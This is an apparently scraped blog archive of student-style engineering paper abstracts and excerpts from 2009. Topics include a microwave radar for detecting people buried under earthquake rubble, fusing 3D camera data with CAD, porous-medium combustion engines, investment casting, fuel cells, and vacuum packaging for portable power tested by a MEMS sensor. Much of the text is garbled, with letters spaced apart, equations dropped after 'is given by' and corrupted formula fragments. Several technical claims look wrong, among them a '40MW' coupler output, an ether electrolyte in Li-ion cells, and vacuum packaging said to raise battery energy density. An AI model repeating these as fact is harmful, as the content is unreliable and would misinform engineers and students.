• This wave is then fed through a 10dB directional coupler and a circulator before reaching a radio frequency switch, which energies the dual antenna system. Also the ten dB directional branches out one-tenth of the wave (40MW) which is then divided equally by a directional coupler2 (3dB).

Directional Coupler 2( 3 dB):-
• One output of the 3dB directional coupler 2 (20mW) drives the clutter cancellation unit. Other output serves as a local reference signal for the double balanced mixer.

Antenna system:-
• The dual antenna system has two antenna, which are energized sequentially an electronic switch. Each antenna acts separately.
Clutter cancellation Unit:-
• The clutter cancellation unit consists of
• A digitally controlled phase shifter I
• A fixed attenuator
• A RF amplifier
• A digitally controlled attenuator

Working:-
Clutter Cancellation of the Received Signal:-
• The wave radiated by the antenna I penetrates the earthquake rubble to reach the buried person.
• The reflected wave received by the antenna 2 consists of a large reflected wave from the rubble and a small reflected wave from the person’s body.
• The large clutter from the rubble can be controlled by a clutter canceling signal.
• The small reflected wave from the person’s body cannot be cancelled by a pure sinusoidal canceling because it is modulated by their environment.
• The output of the clutter cancellation circuit is automatically adjusted to be of equal amplitude and opposite phase as that of the clutter from the rubble.
• Thus, when the output of the clutter cancellation circuit is combined with the directional coupler3 (3dB), the large clutter from the rubble is completely cancelled.
• Now, the output of the directional coupler3 (3dB) is passed through a directional coupler4 (6dB).
• One fourth of the output is directed and amplified by a RF pre-amplifier and then mixed with a local reference signal in a double balanced mixer.
• Three fourth of the output is directed by a microwave detector to provide a DC output, which serves as the indicator for the degree of clutter cancellation.
• When the settings of the digitally controlled phase shifter and the attenuator are swept the microprocessor control system, the output of the microwave detector varies accordingly.

Demodulation of the clutter cancelled signal:-
• At the double balanced mixer, the amplified signal of the reflected wave from the person’s body is mixed with the local reference signal.
• The phase of the local reference signal is controlled by another digitally controlled phase shifter2 for an output from the mixer.
• The output of the mixer consists of the breathing and heart beat signals of the human plus some unavoidable noise.
• This output is fed through a low frequency amplifier and a band pass filter (0.4 Hz) before displayed on the monitor.
• The function of the digitally controlled phase of the local reference signal for the purpose of increasing the system sensitivity.
• The reflected signal from the person’s body after amplification by the pre-amplifier is mixed with the local reference signal in a double balanced mixer.

Microprocessor Control Unit:-
The algorithm and flowcharts for the antenna system and the clutter cancellation system are as follows:

Antenna System:-
• Initially the switch is kept in position 1 i.e. signal is transmitted through the antenna 1.
• Wait for the predetermined sending time, Ts
• Then the switch is thrown to position 2 i.e. signal is received through the antenna 2.
• Wait for some predetermined receiving time, Tr.
• Go to step 1.
• Repeat the above procedure for some predetermined time, T.

Clutter Cancellation system:-
• Send the signal to the rubble through antenna 1.
• Receive the signal from the rubble through antenna 2.
• Check the detector output and if it is within the predetermined limits go to step 5.
• Otherwise send the correction signal to the digitally controlled phase shifter 1 and the attenuator and go to step 1.
• Check the sensitivity of the mixer and if it is optimum go to step 7.
• Otherwise send the correction signal to the digitally controlled phase shifter 2 to change the phase and go to step 1.
• Process the signal and send it to the laptop.

• Advantages of L or S band frequency system:-
Microwaves of L or S band frequency can penetrate the rubble with metallic mesh easier than that of the UHF band frequency waves.

• Advantages of UHF band frequency system:-
Microwaves of UHF band frequency can penetrate deeper into the rubble (without metallic mesh) than that of L or S band frequency system.

• Frequency range of Breathing and Heart beat signals:-
The frequency range of heartbeat and breathing signals of human beings lies between 0.2 and 3 Hz.

Highlights:-

• The location of the person under the rubble can be known by calculating the time elapse between the sending time, Ts and receiving time, Tr.
• Since it will not be possible to continuously watch the system under critical situations, an alarm has been set, so that whenever the laptop computer system processes the received signal and identifies that there is a human being, the alarm sound starts.
• Also under critical situations, where living beings other than human beings are not required to be found out, the system can detect the signals of other living beings based on the frequency of the breathing and heart signals.
• The cost of this system is very low when compared to other .Hence this system has more advantages.
• The frequency used is very high up to 1150 MHZ is used. Hence this system has more frequency when compared to others.

Conclusion:-
A Person Life Is Precious and meaningful to his
Loved ones.
Thus a new sensitive life detection system using microwave radiation for locating human beings buried under earthquake rubble or hidden behind various barriers has been designed. This system operating either at L or S band, UHF band can detect the breathing and heart signals of human beings buried under earthquake rubble. Life saving is high hence it reduces the death rate. We are trying to implement this system

INTEGRATING DATA FROM 3D CAD AND 3D CAMERAS FOR REAL-TIME MODELING

2009-12-28T23:02:00.000-08:00

ABSTRACT

In a reversal of historic trends, the capital facilities industry is expressing an increasing desire
for automation of equipment and construction pr ocesses. Simultaneously, the industry has
become conscious that higher levels of interoperability are a key towards higher productivity
and safer projects. In complex, dynamic, and rapidly changing three-dimensional (3D)
environments such as facilities sites, cutting-edge 3D sensing technologies and processing
algorithms are one area of development that can dramatically impact those projects factors.
New 3D technologies are now being developed, with among them 3D camera.
The main focus here is an investigation of the feasibility of rapidly combining and
comparing – integrating – 3D sensed data (from a 3D camera) and 3D CAD data. Such a
capability could improve construction quality assessment, facility aging assessment, as well
as rapid environment reconstruction and construction automation. Some preliminary results
are presented here. They deal with the challenge of fusing sensed and CAD data that are
completely different in nature.

INTRODUCTION

Over the last fifty years, the construction industry has been lagging behind other industries in
terms of productivity improvement (US-Bureau-of-Labor-Statistics 2003). Additionally, it is
generally admitted that higher productivity could be achieved, not only in construction but
more broadly in the capital facilities industry, if more adequate interoperability existed.
Specifically, the US National Institute of Standards and Technology (NIST) reported that in
2002 inadequate interoperability cost approximately $15.8 billion to the US capital facilities
industry (Gallaher et al. 2004). The NIST report also emphasizes that this loss should
prompt investment in integration and automation technologies in the construction industry.
Interoperability is defined as “the ability to manage and communicate electronic product
and project data between collaborating firms’ and within individual companies’ design,
construction, maintenance, and business process systems” (Gallaher et al. 2004). Product
and project data are all data that must be shared among all stakeholders in order for each of
them to perform their work in an efficient and project-consistent way.
Dimensions and positions – referred as “3D data” in the rest of this paper – constitute
critical industry data. 3D data is both generated and used by almost all project stakeholders –
architects & engineers, contractors, specialty fabricators & suppliers, and owners &
operators, at any time in the facility life cycle, and in many different forms. For instance, 3D
data is created by architects during design in very precise CAD formats, while 3D data is
recorded, manually or using surveying technologies, during construction and operation
phases for construction quality and as-built & aging assessment. Many efforts have been
made in improving the speed and quality of the generation and exchange of 3D data, but the
industry still suffers from inadequate or inefficient 3D data interoperability.
The research presented here focuses on the rapid combination and comparison -
“integration” in the rest of this paper - of 3D sensed data acquired using a 3D camera and
CAD data. In this paper, state-of-the-art construction 3D technologies are first reviewed.
Section two presents the investigation of real-time 3D sensing and integration with CAD
data. The research has been conducted in a joint effort by teams of the University of Texas at
Austin (UT-Austin) in US and the University of Waterloo (UW) in Canada. Section three
presents the experimental results, and the last section reviews the achieved results and lays
down future work.

RESEARCH MOTIVATION

STATE-OF-THE-ART 3D MODELING IN CONSTRUCTION
Research efforts emerged from the industry’s increasing awareness of inadequate 3D data
interoperability. Some of the resulting advances are now intensively investigated or/and
readily available to gather 3D data or improve 3D visualization, and are presented below.
For improving 3D visualization, a recent concept is Augmented Reality (AR). In AR, the
user looks at the environment with a pair a special glasses, Head Mounted Displays (HMDs),
and his view is augmented/overlaid with CAD data (a priori knowledge) positioned exactly
(Wang and Dunston 2005). “An AR system supplements the real world with virtual

Joint International Conference on Computing and Decision Making in Civil and Building Engineering
June 14-16, 2006 - Montréal, Canada
(computer-generated) objects that appear to coexist in the same space as the real world”
(Azuma et al. 2001). AR systems can be used to envision modified cityscapes, to assess the
impact of proposed buildings (Novitski 1994; Webster et al. 1996), etc.
Global Positioning System (GPS) technology impressively benefits the capital facilities
industry. GPS is an active beacon localization approach taking advantage of triangulation to
precisely locate any signal receiver on the planet. Differential GPS can now reach centimetre
accuracy. The industry uses this technology for precisely locating assets (Song et al. 2006;
Song et al. 2004) as well as obtaining site elevation information for better planning and faster
and even automated applications (Hampton 2005; Ward and Brown 2004).
LAser Detection And Ranging device (LADAR) (Cheok et al. 2000) is becoming a
widely used 3D data acquisition technology. This technology resembles a digital camera
except that instead of brightness, it stores range (depth) information, providing 2½D scans of
scenes (although they are usually referred as 3D models). The LADAR technology shows
great promise due to its high accuracy and large field of view. Applications of LADAR are
numerous. For instance, they can be used for quality assessment by recording detailed 3D
views of constructions that can then be compared with 3D CAD models (Gordon and Akinci
2005), or by providing 3D data of old facilities for which 3D models are required for
renovation purposes (Alessandri et al. 2005).
Recent researches have also resulted in a new sensor, the 3D camera. 3D camera – also
called “flash” LADAR - can be described as a digital camera providing arrays of range
distances instead of brightness. Therefore, like LADARs, this technology provides dense
range point clouds. Contrary to a regular LADAR, however, “pictures” can be acquired with
a frequency of up to 30 Hz. An example of 3D camera is the Swiss Ranger 3000 (SR3000),
developed in collaboration by the Swiss Center for Electronics and Micro-technology
(CSEM) [http://www.csem.ch] and the Swiss Federal Institute of Technology (EPFL) (Gut
2004; Lange 2000). This 3D camera is used in this research

NEED FOR INTEGRATION OF 3D SENSED AND 3D DATA
Progress is clearly accelerating in the development of new technologies that improve the
acquisition and display of 3D data. While the potential impact of these technologies is
acknowledged by industry professionals, their use is still limited. A major reason is the lack
of interoperability between these technologies and existing ones, including especially 3D
CAD engines. For instance, LADAR pictures definitely contain interesting 3D information.
However, their integration with existing 3D CAD drawings is neither trivial nor yet fully
automated. Tools are needed for improving and automating the integration of 3D data from
the sources identified above.

3D DATA INTEGRATION INVESTIGATION
Integration requires development of common representation or of mediation methods among
varying representations for which their knowledge composition is formalized. Integration
also implies that operations will be performed on data to compare, fuse or transform the data.
The following sections focus on developing a common representation.
3D SENSED DATA
Sensors used to acquire 3D data generally produce point clouds as output data. In the case of
the SR-3000, a maximum of 176x144 data points can be acquired per image, while LADAR
like the Leica HDS4500 (Leica-Geosystems 2004) can acquire up to 400,000,000 (20,000 x
20,000) points per image.
Previous research conducted at the Univeristy of Texas using the CSEM® SR-2 (earlier
version of the SR-3000) included the development of algorithms capable of rapidly
processing sensed point clouds to extract information such as object detection, velocity
calculation, etc. Algorithms perform data cleaning, data transformation, data segmentation,
and data classification (see (Teizer et al. 2005) for more details). Output data can be
obtained in the following formats: (1) occupancy grid segmented point clouds and (2)
convex-hulls.
The use occupancy grids was pioneered by H. Moravec and A. Elfes in 1985 (Moravec
and Elfes 1985; Moravec 1996), and used in combination with a sonar range finder. This
method helps wisely reduce the amount of data prior to attempting any further analysis. Data
points can be gathered into each one of the voxels (volume pixel) of a predefined world
model grid (see Figure 2). If enough data points are present in a voxel, this one is then
considered full. Therefore, while reducing the amount of data prior to segmenting it, it also
serves as a noise filter since each cell that doesn’t include enough data points will not be
considered full. This approach is interesting because, while it can be used to gather all
sensed data in a single global model, it provides an efficient way for reducing and cleaning
data.
Once occupancy grid segmented point clouds are obtained, they can be further processed
to obtain convex hulls. The convex hull of a set of N points S in n dimensions is the
intersection of all convex sets containing S. The saved result is therefore a series of N facets
and N+1 vertices per convex-hull. Convex-hulls show great results for representing 3D
volumes with far less information than point clouds and a very limited loss of information

3D CAD DATA
For facility design, at least a couple of dozen packages software are used around the world.
Although most software packages have different native formats, they all provide a wide
range of possible exporting formats. While software companies are trying to agree on
sharing their formats with one another in order to improve interoperability, it must be noted
that the quality of exported files in non-native formats may not always be acceptable since
some features may disappear or be wrongly translated.
Also, with more and more powerful CAD engines, data files get heavier and exchange of
information can rapidly become very tedious. While the details included in CAD design
serve some important purposes, this level of detail is not always necessary. For instance, an
engineer evaluating the space available for operating a piece of equipment doesn’t need to
know where bolts on a beam are located, or any other similar level of detail. He may not
even need the exact shape of the beam. Approximations of the CAD drawing may be
sufficient. For such situations, some formats were developed. They are referred to as
formats for performing Virtual Reality (VR). These formats present the advantage of
simplifying 3D models while conserving sufficient quality for the supported applications.
They include, among others, the VRML/XML and STL formats. It must be noticed that,
interestingly, both formats are available as exporting formats in most CAD engines. The
STL for mat is used in this research. More details about it can be found in (Burns 1993).
INTEGRATION FORMATS
From the previous data format analysis, it appears that combining and comparing sensed and
CAD data is not straight forward because the need has not been anticipated by data formats
developers or there is a commercial penalty involved. Additionally, it is acknowledged that
each data format is generally developed for a specific application. The context of this
research is the real-time comparison of 3D sensed and CAD data with potential applications

Homogeneous Combustion

2009-12-28T22:58:00.000-08:00

ABSTRACT
The advantages of homogeneous combustion in internal combustion (I.C.) engines are well known and many resear groups all over the world are working on its practical realization. Recently, the present authors have proposed a new combustion concept that fulfils all requirements to perform homogeneous combustion in I.C. engines using the Porous Medium Combustion Engine, called “PM -engine”. This is an I.C. engine with the following processes realized in a porous medium: internal heat recuperation, fuel injection and vaporization, mixing with air, homogenization, 3Dthermalself-ignition followed by a homogeneous combustion. Figure 1 shows the simplest case of the operation of a PM-engine, where the PM-combustion chamber is mounted in engine head. During the intake stroke it is weak influence of the PM-heat capacitor on the in-cylinder air thermodynamic conditions. Heat exchange process (non adiabatic compression) increases with continuing compression, and at the TDC the whole combustion air is closed in the PM volume. Near the TDC of compression the fuel is injected in to PM volume and very fast fuel vaporization and mixing with air occur in 3D-structure of PM-engine. The self-ignition process and homogeneous combustion occur in PM volume close to the TDC. The main features of the PM-engine are the following: 1)Very low emissions level due to homogeneous combustion and controlled temperature in the PM -combustion zone (e.g. NOx between 100 and 300mg/kWh for the (A/F) ratio from 1 to 5;. CO can be reduced by several times; (almost) eliminated soot formation). 2)Theoretically higher cycle efficiency due to similarity to the Carnot cycle. 3)Very low combustion noise due to significantly reduced pressure peaks. 4) Nearly constant and homogeneous combustion temperature field in the PMvolume.5) Very fast combustion. 6)Multi-fuel system. 7) May operate with homogeneous charge: from stoichiometric to very lean mixture compositions. 8) Weak effect of in-cylinder flow structure, turbulence or spray .

The nature of the mixture formation and followed combustion processes realized in a direct injection engines, indicate a lack of mechanisms for controlling the mixture formation and homogenization of the sequence of process and, hence, do not allow homogeneous combustion. The entire homogenization, however, is necessary for significant reductions of engine emissions in primary combustion [1,2]. There is
also no doubt today, that the future trend of development means homogenisation of the combustion process with a goal to develop such combustion systems that could operate under part to full loads with a homogeneous combustion. Such a new concept has been recently proposed by Durst & Weclas [3,4] and is discussed in this paper. It has not only been studied theoretically but has been technically realized.

HOMOGENEOUS COMBUSTION

Homogeneous combustion in an IC engine is
defined as a process characterized by a 3D-ignition of
the homogeneous charge with simultaneousvolumetric-
combustion, hence, ensuring a homo -
geneous temperature field. According to the definition
given above, three steps of the mixture formation and
combustion may be selected that define the ability of a
given combustion system to operate as a homogeneous
combustion system:
Homogenisation of charge.
Ignition conditions.
Combustion process and temperature field.
Four different ignition techniques may be selected:
Local ignition (e.g. spark plug).
Thermal self-ignition (e.g. compression ignition).
Controlled auto-ignition (e.g. low temperature
chemical ignition).
3D-thermal PM -self-ignition (3D-grid-structutre of
a high temperature).
The last considered ignition system, has been recently
proposed by Durst & Weclas [3,5,6] and uses a 3Dstructured
porous medium (PM) for the volumetric
ignition of homogeneous charge. The PM has
homogeneous surface temperature over the most of the
PM-volume, higher than the ignition temperature. In
this case the PM-volume defines the combustion
chamber volume. Thermodynamically speaking, the
porous medium is here characterized by a high heat
capacity and by a large specific surface area. As a
model, we could consider the 3D-structure of the
porous medium as a large number of “hot spots”
homogeneously distributed throughout the combustion
chamber volume. Because of this feature a thermally
controlled 3D-ignition can be achieved. Additionally,
the porous medium controls the temperature level of
the combustion chamber permitting the NOx level
control almost independently of the engine load or of
the (A/F) ratio.
Let us consider four possible combustion modes of a
homogeneous charge:
1.Homogeneous charge with local ignition
2. Homogeneous charge with compression ignition
3. Homogeneous charge with controlled auto-ignition
4. Homogeneous charge with 3D-thermal self-ignition
in PM-volume

CAPABILITY STUDY OF THE VACUUM INVESTMENT CASTING FOR RAPID PROTOTYPING AND MICRO-MANUFACTURING

2009-12-28T22:57:00.001-08:00

Abstract

The Vacuum Rapid Investment Casting Process (VRIC) is successfully used to produce metal parts from different alloys using Rapid Prototyping (RP) patterns (SLS, SLA, FDM, Thermo-jet, Sanders Process).
The development of the VRIC has left behind unsolved metallurgical and technological problems, which are discussed in the paper.
The paper describes typical applications of the VRIC as a core of Rapid Manufacturing technology to produce Al, Zn alloys and Stainless Steel components. Some ways of improving the component performance by Spray Metalization and Heat treatment are discussed.
The paper also investigates the capability of a new technology, ‘Fcubic’, for production of investment casting shells directly from CAD data. The technology utilizes high resolution 3D printing heads for building shells using zirconia ceramics.
The capabilities of the processes to produce micro-components are compared. The tests are carried out on centrifugal and pressure/vacuum casting units. Components with micro-features in the range of 150 to 700 microns were produced. The dimensional accuracy and the surface quality of the parts were measured. The production cost of the manufacturing routes was assessed.

1. INTRODUCTION

The Vacuum Investment Casting (VIC) is one of the recent technologies in the Rapid Prototyping (RP) field for producing metallic components. Although this technology has been subjected to numerous improvements to enhance the mould filling, casting accuracy, casting quality and alloys range, some intrinsic constraints of the process limits it’s application [1,2]. The potential of VIC to produce thick wall massive castings as well as micro components and micro feature elements on castings has not been systematically studied.
The latest development in VIC was done by ‘Fcubic’ [3]. This technology produces faster and less expensively casting moulds directly from the CAD file. The aim of this study is to present and evaluate the capabilities of ‘Fcubic’ Direct Shell process (DSP) and the conventional VIC lost wax process (LWP) to produce small and micro components.

2. MATERIALS AND METHODS

The VIC techniques [4,5] used in our experiments were (Figure1, Table 1):
- Vacuum and overpressure rapid investment casting (VORIC);
- Centrifugal investment casting (CIC) process.
VIC process was designed for low melting temperature alloys. In this experiments Aluminium
(LM25 - Al 11; Cu 0.78; Fe 0.018; Si 0.12; Mg 0.023) and Zinc (ZA12 - Si 0.7; Cu<0.1; Mg 0.4; Mn 0.3; Fe<0.5; Ni<0.5; Zn<0.1) casting alloys were used.

Environment free technology

2009-12-28T22:55:00.000-08:00

A significant time generally elapses before any new technological development is
Fully exploited. The fuelcell, first demonstrated by sir willam grove in 1839, has taken
Longer the most, despite the promise of clean and efficient power generation. During
The last few years of twentieth- century, an drastic change in environmental condition,
And much polluted environment, stimulate new and expanding interest in fuelcell tech-
Logy. Environmental concerns about global warming and the need to reduce carbon-
Dioxide emission stimulus to seek ways of improving energy conservation efficiency.
The motor vehicle industry,apart from seeking hjgher fuel efficiency, is also required to
Pursue technology with reduced emission of pollutants and the ultimate goal being the
Zero emission automobile. While the fuel cell itself is the key component and an,under-
Standing of it’s features is necessary. A practical fuelcell system requires the integration
Of the stack with fuel processing, heat exchangepower conditioning and control system.
The preferred fuel for a fuelcell is hydrogen. While there are application in which the
Clean and pollution less fuel hydrogen is used directly, such as in space vehicles and
Local transport, in the foreseeable future, for other stationary and mobile applications
The choice of fuel and it’s conversation in to hydrogen-rich gas are essential features
Of practical systems. Hence I hope, that development of fuelcell technology,contribute
To a wider knowledge about the technology and possible application to the present and
Future problem of global warming. Let’s hope that the future pollution less environment
With thjs emerging technology.

Increasing the efficiency of energy conversion in portable power systems and testing by MEMS device

2009-12-28T22:46:00.000-08:00

ABSTRACT

Portable power systems has been an important sources of energy in any industry, among such power systems, Lithium-ion batteries, fuel cell systems, thermophotovoltaics marks their dominance in many areas like Laptops, cellular phones, unmanned military probes and all electronics. The ultimate requirement from such portable power systems are their higher power densities. The important thing to have an eye over such power systems is on their efficiency. Primary cause for their low efficiency is the energy loss due to heat. Poor thermal isolation is The predominant reason behind such energy losses. A simple way to minimize such energy losses is providing a vacuum packaging. Out of many methods for producing such a vacuum environment like anodic bonding, intermediate material bonding etc., glass frit packaging would give better results as it is comparatively versatile, electrically insulating and having

good reflow characteristics.
The betterment of this glass frit vacuum packaging is proved by modeling aThermal conductivity pressure sensor. The thermal conductivity pressure sensor has a platinum heating element fixed on a silicon-nitride membrane. The power dissipated in the heating resistor is found out during experiment. This power correlates the pressure within the vacuum packaging. By repeatedly experimenting with the lowering of pressure, the power dissipated at each lowering pressure levels is found and calibrated. This will show that the power dissipated values will be low for reduces pressures. The heat loss from the battery environmentis nothing but the power dissipated from the heating resistor. From this it is quite obviousthat by using glass frit vacuum packaging the heat loss from such portable power system has been reduced to minimum, thereby increasing their efficiency.

Introduction

In order t o stud y t he power l osses in such port abl e power s yst em s, the worki ng pri ncipl e of an y of the port abl e power s yst ems is known. For exampl e the worki ng of Lithium-i on batt eri es i s as follows, t his is done i n two stages.

1. Charging:
The anode and cathode are encl osing an el ect rol yt e usuall y ether.

During charging i ons move from posit ive (LiCOO2 ) to negati ve el ect rode through

the separat or and att ach to carbon.

2. Discharging :

During discharging the lithium ions move back through the medium from carbon.

Reason for low energy density

 During charging many Li ions form oxides and form a layer around negative electrode.

 Energy density of batteries are reduced due to formation of such Li oxide layer.

 Main cause for oxide formation is diffusion of O2 through the surface into electrolyte.

 Such diffusion occurs due to poor packaging of the cell.

 Obviously, providing a vacuum packaging would be a better solution to increase the energy density of the battery.

Solution for increasing the efficiency

Power loss occurs mainly due to the poor thermal isolation surrounding the Battery. The simple solution to overcome this problem is to provide proper vacuum Environment. This is easily done by glass frit vacuum packaging. Glass frit is selected

For this vacuum packaging because it is highly versatile, having good reflow characteristics,

Excellent electrical insulating.

Testing of vacuum packaging by MEMS thermal conductivity pressure sensor

 Purpose of the device is to ensure whether required vacuum is achieved.

 the testing sensor device consists of platinum heating element on a Si-Ni membrane.

 Pt resistor is heated and power dissipated is calculated

 The power dissipated in the resistor has a direct correlation with the pressure inside vacuum package

Materials and Methods

The packaged device has

1. The top shallow cavity to ensure separation between the sensor and package

which is etched to 25um.

2 . The bottom cap has a deep cavity for the incorporation of getter which is etched for
250um

3. The top and bottom caps are fabricated utilizing standard photolithography and

DRIE ( Deep Reactive Ion Etching ) on a SSP wafer.
4. The device layer is a DSP wafer that is initially coated with100 nm of low stress nitride. The KOH hard mask for the membrane and pressure equilibration hole is defined on the backside using RIE.

5 . Lift-off techniques are then used to deposit a 10 nm adhesion layer of Ta, 400 nm

of Pt, followed by a 20 nm barrier layer of Ta to form the sensor.
6. The device wafer is then placed in 20% KOH at 85ºC for ~5 hours, utilizing a special chuck to protect the metallization, to create the membrane and then annealed at 650ºC for 1 hour to prevent electrical drifts in the device.

7 . A glass frit tape, GPR-10 is transferred onto the capping wafers and fritted

pieces are placed in a box furnace at 450ºC for 10 hours to burn off the organic binder.

8. The pieces are cleaned and stacked in a custom made copper chuck for bonding in

a vacuum system assembled with components.

9. The chamber is pumped down to 20 mTorr before the bonding cycle is initiated.

10. The heating is accomplished by a temperature controller, a solid state relay and customcartridge heaters.

1 1 . A 30 minute ramp to300ºC is followed by a 60 minute hold to ensure that

the pieces have time to outgas and then brought to 475ºC in a 15 minute ramp followed by a

30 minute hold to perform the bond.

12. The chuck is allowed to cool to room temperature before the system is vented to atmosphere.
13. A four- point probe resistance measurement is made and the package is evaluated against a calibration curve. Constant current is supplied to this unit and resistance is measured using a four point probe.
14. After taking an initial measurement of the resistance utilizing a very small current (minimal heating), a target resistance corresponding to87ºC is calculated assuming a TCR of 0.38% for Pt.

1 5 . Calibration is done by assuming the temperature to be constant one.

16. The device is placed in the vacuum system. The vacuum level is fixed by

pumping the chamber down.
17. The current is adjusted until the device produces a resistance close to the calculated target value and a data point is taken. This data point corresponds to the power dissipated at a fixed temperature and pressure. Data points corresponding to pressures ranging from 1,000 mTorr to 30 mTorr are collected and the calibration curve is generated.

Comparing experimental data with mathematical model

To evaluate the performance of the device as a pressure sensor, a modeling was developed and compared with data obtained in a calibration experiment. The underlying principle used to develop this model is the conservation of energy.

Power dissipated in the resistor must equal the flux of heat moving away from the resistor. Heat conduction along the nitride membrane, radiation from the heater, and conduction through gases are the primary heat transport mechanisms. The device is in a sealed packaged so convection through gases is not considered.

CONDUCTION ALONG MEMBRANE

Heat conduction along the membrane was treated using Fourier’s Law. Since the silicon nitride is quite thin, we must take classical effects into consideration for an accurate model. Assuming the nitride is an isotropic material and the boundaries are diffusely scattering, we can obtain an equation relating thermal conductivity and

size effects. For a free standing thin film, the phonon thermal conductivity with

diffusely scattering boundaries is given by,

where Kb is the bulk thermal conductivity of the material ξ=d/λ is acoustic thickness, d is the

thickness of the film, and λ is phonon mean free path in silicon nitride. To estimate the

value of the phonon mean free path the simple kinetic theory can be used to obtain kb

Another option is to utilize the equipartition theorem to derive,

h - Planck’s constant, KB - Boltzmann constant, and T is the temperature of the material.

TRANSPORT BY RADIATION

Heat flux from radiation can be modeled rather simply by assuming parallel plate Geometry and utilizing the Stefan-Boltzmann’s Law for radiation. By taking into considering Classical size effects and transport through an absorbing , emitting, and scattering medium, a layer of complexity is added to the parallel plate . Assuming the diffusion approximation is applicable and diffusion transmission boundary conditions are used the need to solve for the temperature distribution within the medium is avoided. The heat flux, Jq between two parallel surfaces is then given by [2] ,

4 is the black body radiation of nth surface of temperature Tn(σ- Stefanswhere eonb= σT
n
constant) ,ξn emissivity of the nth surface d is the spacing between the surfaces and ke is extinction coefficient of radiation. In equation 5, K is the material extinction coefficient and λo is the photon and which is found using 3 [ for photons, the 2 in numerator is replaced by 0.15] or the Wein’s displacement law λoT = 2167.8 µm.k [2]

CONDUCTION THROUGH GASES

Conduction through gases trapped in package can also be modeled using simple fourier law. Since we have low pressures those large mean free paths, and small dimension we need to treat gas as rarified gas . Essentially we have gas trapped between parallel plates which is similar to situation for radiation using the same assumption as those for radiation treatment , namely diffusion approximation and diffusion- transmission boundary condition, the thermal conductivity is given as[2]

In the situation of gas, the mean free path is dependent on pressure. From the kenetic

theory of gases we have

- collision cross sectional area of gas molecules and the P is the pressure [1] . Combining all

three heat transport mechanism and equating it to the power dissipated in the resistor we have

I is the current being passed through the device, V is the voltage measured across the
device, T is the effective peak temperature of the device and T0 is the temperature of the package Acs-nit is the effective cross section area that heat is transported across the membrane, Knit is the thermal conductivity of themembrane, and Lnit is the effective

distance along the membrane that the temperature gradient is established. A r/c-top/bot

is the effective cross sectional area of the air conduction pathway above/below the resistor,

K a i r is the pressure dependent thermal conductivity for air, and d top/bot is the distance from

the resistor to the top/bottom of the package. Ar/c-top/bot is the effective surface area that

is emitting radiation above/below the resistor, and Jr/c-top/bot is the corresponding heat

Results

From an extensive literature search, several values for material properties were extracted and are summarized in Table 1 along with assumed dimensions used in the model. Most material properties depend on temperature so the values chosen correspond to those at T = Tavg= 330 ºC, the average temperature seen in the device .

MATERIAL PROPERTIES AND DIMENSIONS

Knit o 3.0 W/K-M
Cv-nit 1.14 x 106 J/m3K
Vnit-1 10.3 x 103 m/s
Vnit-t 6.2 x103 m/s
K air-o 0.0285 W/K-M
4.39 x10-19 m2
ξnitride 0.18
ξsilicon 0.65
ξplatinam 0.05
Lnit 100 x 10-6 m
dnit 100 x 10-9 m
dtop 25 x 10-6 m
dbottom 450 x 10-6 m
A r/c- top/ bot (1.2 x1.2 ) x10-6 m2
A cs-nit 4( 1.2 x100 ) x10-2 m2

Utilizing the simple kinetic theory, the mean free path for phonons in the nitride film

was calculated to be ⊄nit = 1.27 nm assuming that the translational mode is the dominant mode for phonons. If Equation 3 was used instead, we would obtain ⊄nit =1.80 nm which is on the same order of the value obtained from the kinetic theory. In either case, the acoustic thickness is relatively large indicating that the thermal conductivity of the
film is close to that of bulk nitride. Assuming that the heat transport along the membrane is isotropically away from the resistor, the heat conduction along the nitride film is calculated to be 0.864 mW.
Since air is the medium in which radiation is passing through, the material extinction coefficient is zero. This simplifies the expression in Equation 4because the extinction coefficient Ke becomes zero as well. The photon wavelength is no longer needed but we can calculate the estimated values for completeness.

We obtain 6.55 um using the photon version of Equation 3 (replace the 2 with 0.15)
while we get 6.57 um using the Wein’s Displacement Law. These two values are very close and are on the order of dtop indicating that classical effects can be potentially important if the gas did not have a zero extinction coefficient. Assuming that the nitride directly

beneath the platinum reaches the same temperature as the resistor, the total radiation is

calculated to be 0.151 mW.

we can see that conduction through gases is the dominant heat
transport mechanism in the packaged device. A quick calculation shows that the mean free path of air is 55 um at P = 1,000 mTorr, and is 5.5 mm at P = 10mTorr. Since the mean free paths at the pressures of interest are larger that dtop, there is no doubt that the rarefied gas treatment is necessary

DISCUSSION

Several crude assumptions were made in developing the model. The values for the effective cross sectional areas used in the calculation, and the assumption of a constant temperature distribution across the resistor are gross over simplifications. It is also assumed that the bulk silicon package remains at room temperature, and that there are no thermal boundary resistances in the system. Introducing thermal boundary resistances will present finite temperature differences at the various interfaces, invalidating the assumptions made about the temperature distribution. Utilizing perfectly diffusive boundaries and perfectly planar surfaces makes modeling the system easier but introduces many inaccuracies Looking at the experimental data in Figure 2, we see

that at low pressures, the power dissipated in the test structure approaches the dashed line. This line corresponds to the heat transport of conduction across the membrane and of radiation. Since the heat conduction through gases should approach zero as the pressure approaches a pure vacuum, we would expect the data to be limited by the value indicated by the dashed line. Such a result indicates that the modeling of the two heat transport mechanisms represented by the dash line is quite accurate but we must keep in mind the assumptions used. In the model, the pressure dependence of the heat conduction through gases correlates fairly well to the experimental data. We see that discrepancies are smaller at lower pressures and greater at higher pressures.
A possible explanation is human error and the lack of instrumental precision at the higher pressures. A more reasonable explanation is that the assumptions used to arrive at Equation 6 were poor. The thermal conductivity of air is strongly dependent on the value used for dtop and dbot. Since the packaged device does not comprise of infinite parallel plates, the effective distances should be greater than those used in the calculation. As we can see in Figure2, increasing the values for dtop and dbo
significantly increase the correlation between model and experimental data.

SUMMARY

A second order model that incorporated classical size effects was developed to provide understanding and insight into experimental data. Data was collected from a microfabricated thermal conductivity pressure sensor which serves as a test device to
evaluate a glass-frit vacuum packaging scheme. Good correlation is seen between the model and the data. S o t h i s p a c k a g i n g c a n b e a p p l i e d t o a n y p o r t a b l e p o w e r s y s t e m t o i n c r e a s e t h e i r e n e r g y d e n s i t y .

AN EXPERIMENTAL INVESTIGATION OF INFLUENCING PARAMETERS OF ELECTRO CHEMICAL MACHINING.

2009-12-28T22:37:00.000-08:00

Abstract:
